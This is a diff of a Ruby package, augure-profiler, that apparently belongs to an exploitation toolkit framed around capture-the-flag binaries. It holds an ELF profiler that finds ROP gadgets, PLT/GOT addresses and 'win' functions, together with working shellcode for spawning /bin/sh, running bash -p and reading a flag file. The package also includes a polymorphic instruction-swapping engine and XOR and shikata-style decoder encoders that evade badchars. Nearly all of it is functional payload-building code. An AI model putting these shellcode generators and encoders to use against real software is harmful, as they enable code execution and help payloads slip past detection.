augure-profiler 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,203 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "metasm"
4
+ require "augure"
5
+
6
+ module AugureProfiler
7
+ # Binary profiler: ELF in, augure facts out. The profiler speaks the fact
8
+ # schema and nothing else - augure decides, it never sees a binary.
9
+ #
10
+ # checksec comes from metasm ELF structures (pure Ruby, no subprocess);
11
+ # gadget enumeration slides semantic byte patterns over executable
12
+ # sections, named exactly like the frozen corpus vocabulary.
13
+ class Profiler
14
+ # Semantic names for ret-terminated gadget byte patterns, documented
15
+ # and ordered longest-first so the longest match wins.
16
+ GADGET_PATTERNS = [
17
+ ["mov_deref_write", "48 89 38 c3"], # mov [rax], rdi ; ret
18
+ ["mov_deref_write", "48 89 30 c3"], # mov [rax], rsi ; ret
19
+ ["mov_deref_write", "48 89 10 c3"], # mov [rax], rdx ; ret
20
+ ["mov_deref_write", "4d 89 3e c3"], # mov [r14], r15 ; ret (ROP Emporium write4)
21
+ ["xchg_rsp_rax", "48 94 c3"], # xchg rsp, rax ; ret
22
+ ["syscall_ret", "0f 05 c3"], # syscall ; ret
23
+ ["int80_ret", "cd 80 c3"], # int 0x80 ; ret
24
+ ["pop_rdi_ret", "5f c3"], # pop rdi ; ret
25
+ ["pop_rsi_ret", "5e c3"], # pop rsi ; ret
26
+ ["pop_rdx_ret", "5a c3"], # pop rdx ; ret
27
+ ["pop_rax_ret", "58 c3"], # pop rax ; ret
28
+ ["JMP_STACK", "ff e4"], # jmp esp/rsp - renamed per arch
29
+ ["ret_align", "c3"] # ret
30
+ ].freeze
31
+
32
+ # printf is NOT on the list: a constant format is not a vuln, and
33
+ # the hint would derive vuln(fmtstr) for every binary that prints -
34
+ # sprintf stays (unbounded by design).
35
+ UNSAFE_SYMBOLS = %w[gets strcpy strcat sprintf scanf].freeze
36
+
37
+ ET_DYN = "DYN"
38
+
39
+ def initialize(path)
40
+ @path = path
41
+ @elf = Metasm::ELF.decode_file(path)
42
+ end
43
+
44
+ def facts
45
+ facts = Augure::Facts.new
46
+ emit_checksec(facts)
47
+ emit_symbols(facts)
48
+ emit_gadgets(facts)
49
+ facts
50
+ end
51
+
52
+ private
53
+
54
+ def emit_checksec(facts)
55
+ facts.add("nx", exec_stack? ? "false" : "true")
56
+ facts.add("pie", (@elf.header.type.to_s == ET_DYN) ? "true" : "false")
57
+ facts.add("relro", relro_state)
58
+ end
59
+
60
+ def exec_stack?
61
+ stack = @elf.segments.find { |s| s.type.to_s == "GNU_STACK" }
62
+ stack&.flags&.map(&:to_s)&.include?("X")
63
+ end
64
+
65
+ def relro_state
66
+ relro = @elf.segments.any? { |s| s.type.to_s == "GNU_RELRO" }
67
+ return "none" unless relro
68
+
69
+ tags = @elf.instance_variable_get(:@tag) || {}
70
+ flags = (tags["FLAGS"] || []) + (tags["FLAGS_1"] || [])
71
+ (flags.any? { |f| f.to_s =~ /BIND_NOW|NOW/ }) ? "full" : "partial"
72
+ end
73
+
74
+ def emit_symbols(facts)
75
+ names = @elf.symbols.map(&:name).compact.uniq
76
+ # plt facts describe REAL dynamic imports (shndx == UNDEF, FUNC
77
+ # type) - not any identifier-shaped symbol: a local function
78
+ # named `system` must not make the decision layer believe a PLT
79
+ # stub exists.
80
+ @elf.symbols.each do |sym|
81
+ facts.add("plt", sym.name) if plt_symbol?(sym)
82
+ end
83
+ emit_plt_addresses(facts)
84
+ names.each do |n|
85
+ facts.add("vuln_hint", "unsafe_func:#{n}") if UNSAFE_SYMBOLS.include?(n)
86
+ end
87
+ # CTF heuristic: a local win/flag function = a callable target
88
+ # (the ret2func family's target_function fact). The winning
89
+ # symbol keeps its name AND its address - the payload builder
90
+ # needs the address, not just the existence.
91
+ @elf.symbols.each do |sym|
92
+ next unless sym.name.to_s.match?(/\Awin\z|win\z|flag\z/)
93
+
94
+ facts.add("target_function", "true")
95
+ facts.add("win_symbol", sym.name, sym.value.to_i)
96
+ end
97
+ if names.include?("__stack_chk_fail")
98
+ facts.add("canary", "true")
99
+ else
100
+ facts.add("canary", "false")
101
+ end
102
+ end
103
+
104
+ # The addresses a ROP chain resolves against: the JMP_SLOT
105
+ # relocations carry the GOT entry (r_offset) and the PLT stub is
106
+ # computable from the section layout (.plt.sec: 16*i; .plt: 16*(i+1)).
107
+ def emit_plt_addresses(facts)
108
+ plt_sec = @elf.sections.find { |s| s.name.to_s == ".plt.sec" }
109
+ plt = @elf.sections.find { |s| s.name.to_s == ".plt" }
110
+ jmp_slots = @elf.relocations.select { |r| r.type.to_s.include?("JMP_SLOT") }
111
+ jmp_slots.each_with_index do |r, i|
112
+ name = r.symbol&.name
113
+ next unless name.is_a?(String) && !name.empty?
114
+
115
+ stub = if plt_sec
116
+ plt_sec.addr.to_i + 16 * i
117
+ else
118
+ plt && (plt.addr.to_i + 16 * (i + 1))
119
+ end
120
+ facts.add("got_addr", name, r.offset.to_i) if r.offset
121
+ facts.add("plt_addr", name, stub) if stub
122
+ end
123
+ end
124
+
125
+ def arch_index
126
+ (@elf.header.e_class.to_s == "64") ? 0 : 1
127
+ end
128
+
129
+ def plt_symbol?(sym)
130
+ sym.name.to_s =~ /\A[a-zA-Z_][a-zA-Z0-9_]*\z/ &&
131
+ sym.shndx.to_s == "UNDEF" && sym.type.to_s == "FUNC"
132
+ end
133
+
134
+ def emit_gadgets(facts)
135
+ executable_sections.each do |section|
136
+ bytes = section_bytes(section)
137
+ next if bytes.nil? || bytes.empty?
138
+
139
+ stack_jump = %w[jmp_rsp jmp_esp][arch_index]
140
+ scan_gadgets(bytes, section.addr.to_i).each do |(type, addr)|
141
+ name = type
142
+ name = stack_jump if type == "JMP_STACK"
143
+ facts.add("gadget", name, addr)
144
+ end
145
+ end
146
+ emit_csu_gadgets(facts)
147
+ end
148
+
149
+ def executable_sections
150
+ @elf.sections.select { |s| s.flags.map(&:to_s).include?("EXECINSTR") }
151
+ end
152
+
153
+ # metasm exposes section metadata but not raw bytes here; read straight
154
+ # from the file at the section offset.
155
+ def section_bytes(section)
156
+ File.open(@path) do |f|
157
+ f.seek(section.offset.to_i)
158
+ f.read(section.size.to_i)
159
+ end&.bytes
160
+ rescue
161
+ nil
162
+ end
163
+
164
+ # The patterns precompiled ONCE to byte arrays: scanning compares
165
+ # integers (String#index skip), not hex-string slices per position
166
+ # (the old hex.map + split-per-position was ~100x slower).
167
+ # The patterns precompiled ONCE to binary strings: the scan runs
168
+ # String#index (memmem in C) per pattern, not a hex-slice compare
169
+ # per byte position (the original was ~100x slower; an Array-slice
170
+ # version was 2x slower still).
171
+ GADGET_BIN = GADGET_PATTERNS.map do |(type, pattern)|
172
+ [type, pattern.split(" ").map { |h| h.to_i(16) }.pack("C*")]
173
+ end.freeze
174
+
175
+ def scan_gadgets(bytes, base_addr)
176
+ data = bytes.is_a?(String) ? bytes : bytes.pack("C*")
177
+ data = data.b
178
+ hits = []
179
+ GADGET_BIN.each_with_index do |(type, pat), order|
180
+ off = 0
181
+ while (off = data.index(pat, off))
182
+ hits << [order, type, base_addr + off]
183
+ off += pat.size
184
+ end
185
+ end
186
+ # position first, then the pattern-table order (the original
187
+ # first-match-wins semantics preserved byte for byte)
188
+ hits.sort_by! { |(order, _type, addr)| [addr, order] }
189
+ hits.map { |(_order, type, addr)| [type, addr] }
190
+ end
191
+
192
+ # Static binaries expose the __libc_csu_init universal gadgets under
193
+ # well-known symbols; their presence IS the gadget fact.
194
+ def emit_csu_gadgets(facts)
195
+ names = @elf.symbols.map(&:name).compact
196
+ return unless names.include?("__libc_csu_init")
197
+
198
+ sym = @elf.symbols.find { |s| s.name == "__libc_csu_init" }
199
+ facts.add("gadget", "csu_popper", sym.value.to_i)
200
+ facts.add("gadget", "csu_mov", sym.value.to_i + 0x40)
201
+ end
202
+ end
203
+ end
@@ -0,0 +1,329 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "metasm"
4
+
5
+ module AugureProfiler
6
+ # The target's word size, from the ELF class: which shellcode variant
7
+ # to assemble and how wide the return address is.
8
+ def self.arch(path)
9
+ elf = Metasm::ELF.decode_file(path)
10
+ (elf.header.e_class.to_s == "64") ? :x64 : :x86
11
+ end
12
+
13
+ # The payload source: assembly TEXT, versioned and auditable, assembled
14
+ # on demand. No hex blobs - the shellcode of the original tool (%shc in
15
+ # dbg.pm) becomes readable source assembled by metasm, which the
16
+ # profiler already depends on. The call-back layout keeps every stub
17
+ # position-independent without relocations.
18
+ #
19
+ # Each stub carries EQUIVALENT VARIANTS (the ghost-writing idea from
20
+ # the metasm talks): same semantics, different bytes. rng: a seeded
21
+ # Random - the variant picked is deterministic per seed, so the audit
22
+ # can reproduce the exact payload.
23
+ module Shellcode
24
+ SOURCES = {
25
+ sh: {
26
+ x64: [
27
+ <<~ASM,
28
+ call shellcode
29
+ path:
30
+ db "/bin/sh", 0
31
+ shellcode:
32
+ pop rdi
33
+ xor esi, esi
34
+ xor edx, edx
35
+ push 59
36
+ pop rax
37
+ syscall
38
+ ASM
39
+ <<~ASM
40
+ call shellcode
41
+ path:
42
+ db "/bin/sh", 0
43
+ shellcode:
44
+ pop rdi
45
+ push 0
46
+ pop rsi
47
+ push 59
48
+ pop rax
49
+ cdq
50
+ syscall
51
+ ASM
52
+ ],
53
+ x86: [
54
+ <<~ASM,
55
+ call shellcode
56
+ path:
57
+ db "/bin/sh", 0
58
+ shellcode:
59
+ pop ebx
60
+ xor ecx, ecx
61
+ push 11
62
+ pop eax
63
+ int 80h
64
+ ASM
65
+ <<~ASM
66
+ call shellcode
67
+ path:
68
+ db "/bin/sh", 0
69
+ shellcode:
70
+ pop ebx
71
+ push 11
72
+ pop eax
73
+ cdq
74
+ xor ecx, ecx
75
+ int 80h
76
+ ASM
77
+ ]
78
+ },
79
+ orw: {
80
+ x64: [
81
+ <<~ASM
82
+ call readflag
83
+ path:
84
+ db "PATH_SLOT", 0
85
+ readflag:
86
+ pop rdi
87
+ push 2
88
+ pop rax
89
+ xor esi, esi
90
+ xor edx, edx
91
+ syscall
92
+ mov rdi, rax
93
+ sub rsp, 128
94
+ mov rsi, rsp
95
+ push 64
96
+ pop rdx
97
+ push 0
98
+ pop rax
99
+ syscall
100
+ mov rdx, rax
101
+ mov rsi, rsp
102
+ push 1
103
+ pop rdi
104
+ push 1
105
+ pop rax
106
+ syscall
107
+ push 60
108
+ pop rax
109
+ xor edi, edi
110
+ syscall
111
+ ASM
112
+ ],
113
+ x86: [
114
+ <<~ASM
115
+ call readflag
116
+ path:
117
+ db "PATH_SLOT", 0
118
+ readflag:
119
+ pop ebx
120
+ xor ecx, ecx
121
+ xor edx, edx
122
+ mov eax, 5
123
+ int 80h
124
+ mov ebx, eax
125
+ sub esp, 128
126
+ mov ecx, esp
127
+ mov edx, 64
128
+ mov eax, 3
129
+ int 80h
130
+ mov edx, eax
131
+ mov ecx, esp
132
+ mov ebx, 1
133
+ mov eax, 4
134
+ int 80h
135
+ ASM
136
+ ]
137
+ },
138
+ bash: {
139
+ x64: [
140
+ <<~ASM
141
+ call shellcode
142
+ path:
143
+ db "/bin/bash", 0
144
+ arg:
145
+ db "-p", 0
146
+ shellcode:
147
+ pop rdi
148
+ lea rsi, [rdi+10]
149
+ push 0
150
+ mov rdx, rsp
151
+ push rsi
152
+ push rdi
153
+ mov rsi, rsp
154
+ pop rdi
155
+ mov eax, 59
156
+ syscall
157
+ ASM
158
+ ],
159
+ x86: [
160
+ <<~ASM
161
+ call shellcode
162
+ path:
163
+ db "/bin/bash", 0
164
+ arg:
165
+ db "-p", 0
166
+ shellcode:
167
+ pop ebx
168
+ lea ecx, [ebx+10]
169
+ push 0
170
+ mov edx, esp
171
+ push ecx
172
+ push ebx
173
+ mov ecx, esp
174
+ mov eax, 11
175
+ int 80h
176
+ ASM
177
+ ]
178
+ }
179
+ }.freeze
180
+
181
+ # The equivalence pools (the ghost-writing engine): each named slot
182
+ # has semantically equal replacements; the rng picks per slot and
183
+ # inserts camouflage between the independent blocks. Deterministic
184
+ # per seed - the audit reproduces the exact payload.
185
+ EQUIVALENCES = {
186
+ "zero_edx" => {"x64" => ["xor edx, edx", "push 0\npop rdx"],
187
+ "x86" => ["xor edx, edx", "push 0\npop edx"]},
188
+ "zero_esi" => {"x64" => ["xor esi, esi", "push 0\npop rsi"]},
189
+ "zero_ecx" => {"x86" => ["xor ecx, ecx", "push 0\npop ecx"]},
190
+ "load_callnum" => {"x64" => ["push 59\npop rax", "mov eax, 59"],
191
+ "x86" => ["push 11\npop eax", "mov eax, 11"]},
192
+ "junk" => {"x64" => ["xchg ax, ax", "nop", "xchg r8, r8"],
193
+ "x86" => ["xchg ax, ax", "nop"]}
194
+ }.freeze
195
+
196
+ def self.polymorph(source, arch, rng)
197
+ return source unless rng
198
+
199
+ key = (arch == :x64) ? "x64" : "x86"
200
+ # the named slots, when the source uses the standard forms, get
201
+ # replaced by a pool alternative
202
+ out = source
203
+ if source.include?("xor edx, edx")
204
+ out = out.sub("xor edx, edx",
205
+ EQUIVALENCES["zero_edx"][key].sample(random: rng))
206
+ end
207
+ if source.include?("xor esi, esi") && key == "x64"
208
+ out = out.sub("xor esi, esi",
209
+ EQUIVALENCES["zero_esi"][key].sample(random: rng))
210
+ end
211
+ if source.include?("xor ecx, ecx") && key == "x86"
212
+ out = out.sub("xor ecx, ecx",
213
+ EQUIVALENCES["zero_ecx"][key].sample(random: rng))
214
+ end
215
+ if source.include?("push 59\npop rax")
216
+ out = out.sub("push 59\npop rax",
217
+ EQUIVALENCES["load_callnum"][key].sample(random: rng))
218
+ end
219
+ if source.include?("push 11\npop eax")
220
+ out = out.sub("push 11\npop eax",
221
+ EQUIVALENCES["load_callnum"][key].sample(random: rng))
222
+ end
223
+ # camouflage between the blocks: a junk instruction after the path
224
+ if out =~ /^(\s*path:\n.*?0\n)/m
225
+ junk = EQUIVALENCES["junk"][key].sample(random: rng)
226
+ out = out.sub(/^(\s*shellcode:\n)/) { "#{junk}\n" + Regexp.last_match(1) }
227
+ end
228
+ out
229
+ end
230
+
231
+ # klass: Metasm::X64 or Metasm::Ia32 (the target architecture).
232
+ # path: the parameter for the path-bearing stubs (sh/bash exec the
233
+ # path; orw reads it - the seccomp answer reads /flag, not a shell).
234
+ # Returns the assembled bytes.
235
+ def self.generate(klass, stub = :sh, path: nil, rng: nil)
236
+ arch = (klass == Metasm::X64) ? :x64 : :x86
237
+ variants = SOURCES.fetch(stub).fetch(arch)
238
+ source = rng ? variants.sample(random: rng) : variants.first
239
+ source = source.gsub("PATH_SLOT", path.to_s) if path
240
+ raise ArgumentError, "this stub needs a path" if source.include?("PATH_SLOT")
241
+
242
+ source = polymorph(source, arch, rng)
243
+ Metasm::Shellcode.assemble(klass.new, source).encode_string
244
+ end
245
+ end
246
+
247
+ # The encoders: the payload must survive the channel it travels
248
+ # through. Two answers:
249
+ # - encode: a xor-key wrapper for a badchar list - the minimal
250
+ # decoder stub assembled on the fly;
251
+ # - encode_polymorphic: the shikata_ga_nai inheritance - a feedback
252
+ # decoder (each decoded byte seeds the next), the key per seed,
253
+ # camouflage between the decodes. metasploit encodes to beat the
254
+ # antivirus; we encode to cross the channel, and the output stays
255
+ # RE-PLAYABLE: the seed plus the source reproduce the exact bytes.
256
+ module Encoder
257
+ module_function
258
+
259
+ def encode(bytes, badchars:, rng: nil, arch: :x64)
260
+ # the constant-key flavour of the keyed decoder: key1 = key2 = k,
261
+ # the same zero-free layout, the retry over the whole output
262
+ raw = bytes.respond_to?(:bytes) ? bytes.bytes : bytes
263
+ raise ArgumentError, "the payload exceeds 120 bytes - a 0x00-free channel needs a wider decoder" if raw.size > 120
264
+
265
+ 255.times do |k|
266
+ next if badchars.include?(k)
267
+
268
+ enc = raw.map { |b| b ^ k }
269
+ enc += [0x90] while enc.size < 120
270
+ full = wrap_keyed_decoder(enc, k, k, arch)
271
+ return {bytes: full, key: k} if (full.unpack("C*") & badchars).empty?
272
+ end
273
+ raise ArgumentError, "no xor key avoids the badchars"
274
+ end
275
+
276
+ def encode_polymorphic(bytes, badchars:, rng:, arch: :x64)
277
+ raise ArgumentError, "the polymorphic encoder needs a seed" unless rng
278
+
279
+ raw = bytes.respond_to?(:bytes) ? bytes.bytes : bytes
280
+ raise ArgumentError, "the payload exceeds 120 bytes - a 0x00-free channel needs a wider decoder" if raw.size > 120
281
+
282
+ 512.times do
283
+ key1 = rng.rand(1..0xff)
284
+ key2 = rng.rand(1..0xff)
285
+ enc = raw.each_with_index.map { |b, i| b ^ (i.even? ? key1 : key2) }
286
+ enc += [0x90] while enc.size < 120
287
+ full = wrap_keyed_decoder(enc, key1, key2, arch)
288
+ return {bytes: full, keys: [key1, key2]} if (full.unpack("C*") & badchars).empty?
289
+ end
290
+ raise ArgumentError, "no key pair avoids the badchars"
291
+ end
292
+
293
+ def wrap_keyed_decoder(enc, key1, key2, arch)
294
+ klass = (arch == :x64) ? Metasm::X64 : Metasm::Ia32
295
+ data = enc.pack("C*")
296
+ size = enc.size
297
+ dest = (arch == :x64) ? "rdi" : "ebx"
298
+ k1 = (arch == :x64) ? "rax" : "eax"
299
+ k2 = (arch == :x64) ? "rbx" : "ebx"
300
+ cnt = (arch == :x64) ? "rcx" : "ecx"
301
+ # The zero-free get-pc, the shikata layout: the decoder first, the
302
+ # backward call (a negative rel32 carries ff bytes, never 00), the
303
+ # payload right after the call, the loop falls through into it.
304
+ asm = <<~ASM
305
+ jmp gz1
306
+ gz0:
307
+ pop #{dest}
308
+ push #{size}
309
+ pop #{cnt}
310
+ push #{key1}
311
+ pop #{k1}
312
+ push #{key2}
313
+ pop #{k2}
314
+ loop:
315
+ xor byte ptr [#{dest}], al
316
+ xchg al, bl
317
+ inc #{dest}
318
+ dec #{cnt}
319
+ jnz loop
320
+ jmp pay0
321
+ gz1:
322
+ call gz0
323
+ pay0:
324
+ db #{data.bytes.map { |b| "0x#{b.to_s(16)}" }.join(", ")}
325
+ ASM
326
+ Metasm::Shellcode.assemble(klass.new, asm).encode_string
327
+ end
328
+ end
329
+ end